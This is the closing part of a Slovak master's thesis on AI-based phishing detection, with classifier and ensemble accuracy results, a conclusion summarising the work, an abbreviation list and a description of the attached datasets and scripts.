RandomForestClassifier() Cross validation accuracies mean: 0.9184269153405573, Preci-
sion: 0.8981242219761234, Recall: 0.862175833363613, F1 score: 0.8783271719457804

KNeighborsClassifier() Cross validation accuracies mean: 0.9106324580364014, Precision:
0.8851538092291658, Recall: 0.8516054801538778, F1 score: 0.8667210026695605

XGBClassifier() Cross validation accuracies mean: 0.9106275307766796, Precision:
0.8977349092755007, Recall: 0.8355170282268909, F1 score: 0.8612002978612815

MLPClassifier Cross validation accuracies mean: 0.9055791251423806, Precision:
0.8854332447352757, Recall: 0.8323453045658624, F1 score: 0.8547671032694287

CatBoost Cross validation accuracies mean: 0.9139651949223193, Precision:
0.9003762546973271, Recall: 0.8444539315255429, F1 score: 0.8680627771924092

Zhrnutie presnosti

e Accuracy: 90,6—91,8 %
e Precision: 88,5-90,0 %
e Recall: 83,2 - 86,2 %

e F1 score: 85,4—-87,8%
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5.4.1.2 Ensemble metody

Stacking method - Accuracy: 0.9194431023772666, Precision: 0.9009713149356497, Re-
call: 0.8599580500436805, F1 score: 0.8781179519835456

Bagging method - Accuracy: 0.919048698961733, Precision: 0.8998941786192526, Recall:
0.8599072300688844, F1 score: 0.877661422775646

Boosting method - Accuracy: 0.8982734990485017, Precision: 0.8857054447914487, Re-
call: 0.8083050572009972, F1 score: 0.8382914245129061

Voting method - Accuracy: 0.9169090604324633, Precision: 0.9039473503620503, Recall:
0.8486425066976286, F1 score: 0.8720857737908344

Zhrnutie presnosti
e Accuracy: 89,8 — 91,9 %
e Precision: 88,6 — 90,4 %
e Recall: 80,8 — 86,0 %
e F1 score: 83,8 - 87,8 %

5.4.2 Presnost’ klasifikacie pri pouziti vSetkych features

Tieto presnosti st podrobne popisané v oddiele 5.1.8, preto su nizSie uvedené len zhrnutia.

5.4.2.1 Al modely

e Accuracy: 90,5-93,3 %
e Precision: 89,3 -92,1 %
e Recall: 82,4 — 88,8 %

e FI1 score: 85,2 90,1 %

5.4.2.2 Ensemble metody

e Accuracy: 90,5-93,3 %
e Precision: 89,3 - 92,1 %
e Recall: 82,4 — 88,8 %

e F1 score: 85,2-90,1 %
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5.4.3 Zhodnotenie

Pri pouziti iba prevzatych features sa nad hranicou 90 % nachédza iba metdda accuracy.
Presnost’ ostatnych metod je 90 % a menej. Pouzitim d’alSich 10 features, ktoré boli v ramci
prace navrhnuté sa presnost’ dostala na 90 % a viac az u 3 metdd. Hranica 90 % vSak pred-
stavuje akusi hranicu, kde presnost’ modelov zafina nardzat’ na problémy vo forme false
positives, preto je nad 90 % uz pomerne tazké vyznamnejsie zvySovat presnost’ a zlepSenie

0 2% predstavuje vel'mi dobry vysledok.

5.4.3.1 AI Modely

U Al modelov su konkrétne zlepsenia nasledovné:

Accuracy: 90,6-91,8 % 91,6 -93,2 %

Precision: 88,5-90,0 % 89,7-91.9 %
Recall: 83,2 - 86,2 % 85,3 — 88,4 %
F1 score: 85,4 — 87,8 % 87,3 -90,0 %

Tabulka 3 — Porovnanie presnosti modelov pri klasifikacii na zdklade URL

5.4.3.2 Ensemble metody

Accuracy: | 89,8 —91,9 % 90,5 -93,3 %

Precision: | 88,6 — 90,4 % 89,3-92,1 %
Recall: 80,8 — 86,0 % 82,4 —88.8 %
F1 score: 83,8 -87.8% 85,2 -90,1 %

Tabul'’ka 4 — Porovnanie presnosti ensemble pri klasifikacii na zdklade URL
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ZAVER

Tato praca sa zaobera problematikou phishingu, jeho vysvetlenim, skimanim jeho podob,
technik pouzivanych uto¢nikmi na tvorbu takychto utokov ale aj odbornikmi na jeho detek-

ciu.

Na zaciatku prace je su vysvetlené pojmy ako phishing a umela inteligencia, nakol'ko su

vyuzivané v celej praci. Praca popisuje zakladné pojmy v oblasti umelej inteligencie.

Prvou témou teoretickej Casti prace je rozdelenie phishingu na jeho typy, spolu s uvedenim
prikladov takychto ttokov, ¢o je doplnené o naslednu konkrétnu ukazku priebehu phishin-
gového utoku z pohl'adu pouzivatela a popis detailov, vdaka ktorym je mozné rozpoznat’
legitimny email, spravu alebo URL adresu od tej phishingove;j. Pre lepsi prehl'ad o utokoch
su v praci zahrnuté aj phishingové Statistiky tykajlice sa odvetvi, v ktorych sa phishing vy-

skytuje, pripadne domén, ktoré phishing vyuziva.

V neposlednom rade prva kapitola prace popisuje aktualny stav rieSeni Specializujucich sa
na detekciu phishingu. ReSers v tejto oblasti je zaloZend na analyze novo publikovanych

vedeckych ¢lankov.

Druhou témou teoretickej Casti prace je zmapovanie vyvoja phishingu a zozbieranie infor-
macii o jeho zaciatkoch a o jeho postupnom vyvoji az na dnesnu formu. V tejto kapitole st
zahrnuté Statistické tidaje od roku 2004 aZ po stucasnost’, ¢im je mozné skimat vyvoj v tech-

nikéach utocnikov ale aj v oblastiach, na ktoré phishing cieli.

Poslednou ale najhlavnejSou témou teoretickej Casti je analyza sucasnych rieSeni zamera-
nych na boj s phishingom, kde st spomenuté metody, ktoré umoziiuji phishingu predcha-
dzat’, ¢i zmieriiovat’ jeho dopady, ale aj metddy, ktoré st pouZité na priamu detekciu phis-
hingovych utokov. Jedna sa o metédy vyuzivané odbornikmi v odvetvi ale aj komerénymi
rieSeniami. Tieto metddy su potom zhrnuté v teoretickom postupe implementacie, kde je

popisané predspracovanie dat ¢i postup klasifikacie a vyberu features.

Prakticka ast’ sa zaobera ukazkou phishing kitu, ¢o je predpripraveny software na vytvara-
nie phishingovych utokov. Tento software bol analyzovany a vyskuSany, ¢o pomohlo pri

tvorbe detekénych metdd.

Pre lepSie pochopenie utokov a moznosti boja s phishingovymi utokmi su v praci analyzo-

vané 3 redlne utoky. Analyzovana je implementacia tychto Gtokov, chovanie kodu ¢i celkové
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prevedenie. Tym bolo mozné zmapovat’ techniky vyuzivané ttocnikmi, ktoré pomohli pri

navrhu features, na zaklade ktorych prebiehala klasifikacia.

NajddlezitejSou pracou je prakticka implementacia metdd detekcie phishingu s vyuzitim
umelej inteligencie. V tejto Casti prace su detaile popisané obe metddy detekcie, ktorymi st

detekcia na zaklade URL adresy a detekcia na zdklade obsahu emailu.

Pri detekcii na zédklade URL je popisané predspracovanie suboru dat, ako odstranenie Sumu

a duplikatov, ¢i vyber testovacej a trénovacej mnoziny.

NajhlavnejSou €astou prace je navrh rieSeni pre detekciu phishingu, ktory implementuju de-

tekciu na zéklade URL adresy a detekciu na zéklade obsahu emailu/spravy.

Po spracovani stiboru dat bolo nutné vybrat’ features, na zaklade ktorych prebiehala metoda
vykonavat’ klasifikdciu. Praca pouziva 20 features prebranych z literatiry a 10 navrhnutych
features. Takto navrhnuté features su potom extrahované z URL adries v subore dat a po-
skytnuté ako vstup metédam umelej inteligencie. Na klasifikaciu sa pouziva 5 Al modelov
a 4 ensemble techniky. Po dokonceni klasifikacie st zozbierané informacie z vystupu pro-
gramu, ktoré popisuju presnost’ jednotlivych klasifikatorov a metdd, spolu s ¢asovymi
udajmi.

Klasifikacia na zéklade obsahu emailu je vyuziva taktiez 5 modelov, spolu s 5 predtrénova-

nymi transformermi. Natrénované modely a transformery sa potom pouzivaju na predikciu.

Vysledky vystupu st zozbierané a analyzované. Navrhnuté rieSenie je schopné klasifikovat’
phishingové URL adresy a spravy/emaily. Toto rieSenie je unikdtne v tom, Ze kombinuje
klasifikaciu viacerych modelov, ktorych vysledky sit pomocou ensemble metdd transformo-
vané na jednu finalnu klasifikéaciu. RieSenie bolo trénované na vel’kom stibore dat obsahuju-
com viac ako pol miliona zdznamov a nésledne porovnané s inymi odbornymi rieSeniami

v odbornej literature, ¢i s komerénymi rieSeniami.

Poslednou témou v praci je experiment, ktory porovnava presnost’ klasifikdcie URL pri po-
uziti vSetkych features s presnost’ou, ktord bola dosiahnuté len pri pouziti prevzatych featu-
res. Tento experiment dokézal, Ze navrhnuté features zvySuju presnost’ ur¢enia o 1 - 2,2 %
v zavislosti na pouzitom modely a metdode vyhodnotenia. Presnost” 90 % vsak predstavuje
akusi hranicu, kde presnost’ modelov zacina naradzat’ na problémy vo forme false positives,
preto je uz pomerne tazké vyznamnejsie zvySovat’ presnost’ nad 90 % a zlepSenie o 2% teda

predstavuje kvalitny vysledok.
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ZOZNAM POUZITYCH SYMBOLOV A SKRATIEK

Al

NLP

ML

DDoS

BEC

URL

CFO

CSRF

SMS

DNS

IP

ISP

SSID

DL

RF

NB

CNN

RNN

LSTM

DT

SVM

MITM

HTTPS

HTML

Artifical Intelligence — umela inteligencia

Natural Language Processing — spracovanie prirodzeného jazyka
Machine Learning — strojové ucenie

Distributed Denial of Service — typ kybernetického utoku

Business Email Compromise — typ phishingového utoku

Uniform Resource Locator — lokétor online zdroja v prehliadaci
Chief Financial Officer — riaditel’ financii

Cross Site Request Forgery — typ kybernetického utoku

Short Message Service — textové spravy

Domain Name System — systém na prirad’ovanie IP adries k ndzvom webov
Internet Protocol — internetovy protokol

Internet Service Provider — poskytovatel’ internetu

Service Set Identifier — sekvencia znakov pomentivajica Wi-Fi siet’
Deep Learning — hlboké ucenie

Random Forest - typ algoritmu umelej inteligencie

Naive Bayes - typ algoritmu umelej inteligencie

Convolutional Neural Network — typ neurdnovej siete

Recurrent Neural Network — typ neurdnovej siete

Long Short-Term Memoty — typ neurdénovej siete

Decision Tree — typ algoritmu umelej inteligencie

Support Vector Machine - typ algoritmu umelej inteligencie

Man In The Middle — typ kybernetického ttoku

Hyper Text Transfer Protocol Secure — zabezpeceny internetovy protokol

Hyper Text Markup Language — znackovaci jazyk na tvorbu webstranok
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SMTP  Simple Mail Transfer Protokol — emailovy protokol

TLS Transport Layer Security — vylepSend verzia protokolu SSL

Saas Software as a service — cloudova sluzba

PSO Particle Swarm Optimization — typ evolu¢ného algoritmu

CSv Comma Separated Values — stbor ktory obsahuje hodnoty oddelené ¢iarkou
TLD Top Level Domain — najvyssia doména stranky

URI Universal Resource Identifier — identifikator zdroja
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Z0OZNAM PRILOH

Zoznam priloh na CD.



PRILOHAPI: CD

CD obsahuje hlavny adresar s nazvom ,,Diplomova Praca Martin Kubicek®. V tomto ad-

resari su d’alSie 2 adresare ,,URL Classification* a ,,EMAIL Classification®.
Adresar ,,URL Classification* obsahuje 3 CSV stbory s datami.

o Corrected data without duplicates.csv — subor obsahujuci dataset, na ktorom boli
trénované modely.

e Brands and websites.csv — stibor obsahujici zoznamy oficidlnych a legitimnych
nazvov spolocnosti a ich webové stranky.

e Tunnels.csv — subor obsahujuci stranky tunelovacich sluzieb
Dalej adresar obsahuje 3 python skripty.

e Data Preprocessing.py — skript, v ktorom st funkcie pre pracu s datami
e Features Extraction.py — skript obsahujuci funkcie na extrakciu features z datasetu
e Main.py — hlavny script, ktory spéja funkcionalitu vyssie zmienenych features a im-

plementuje trénovanie a testovanie modelov.

Adresar “EMAIL_Classification” obsahuje 1 CSV subor s ndzvom “emails.csv”, ktory ob-

sahuje dataset, na ktorom boli trénované modely.
Dalej adresar obsahuje 2 python skripty

e Data Preprocessing.py — script, ktory implementuje funkcie na predspracovanie dat

e Main.py — script, ktory implementuje modely a ich trénovanie a testovanie



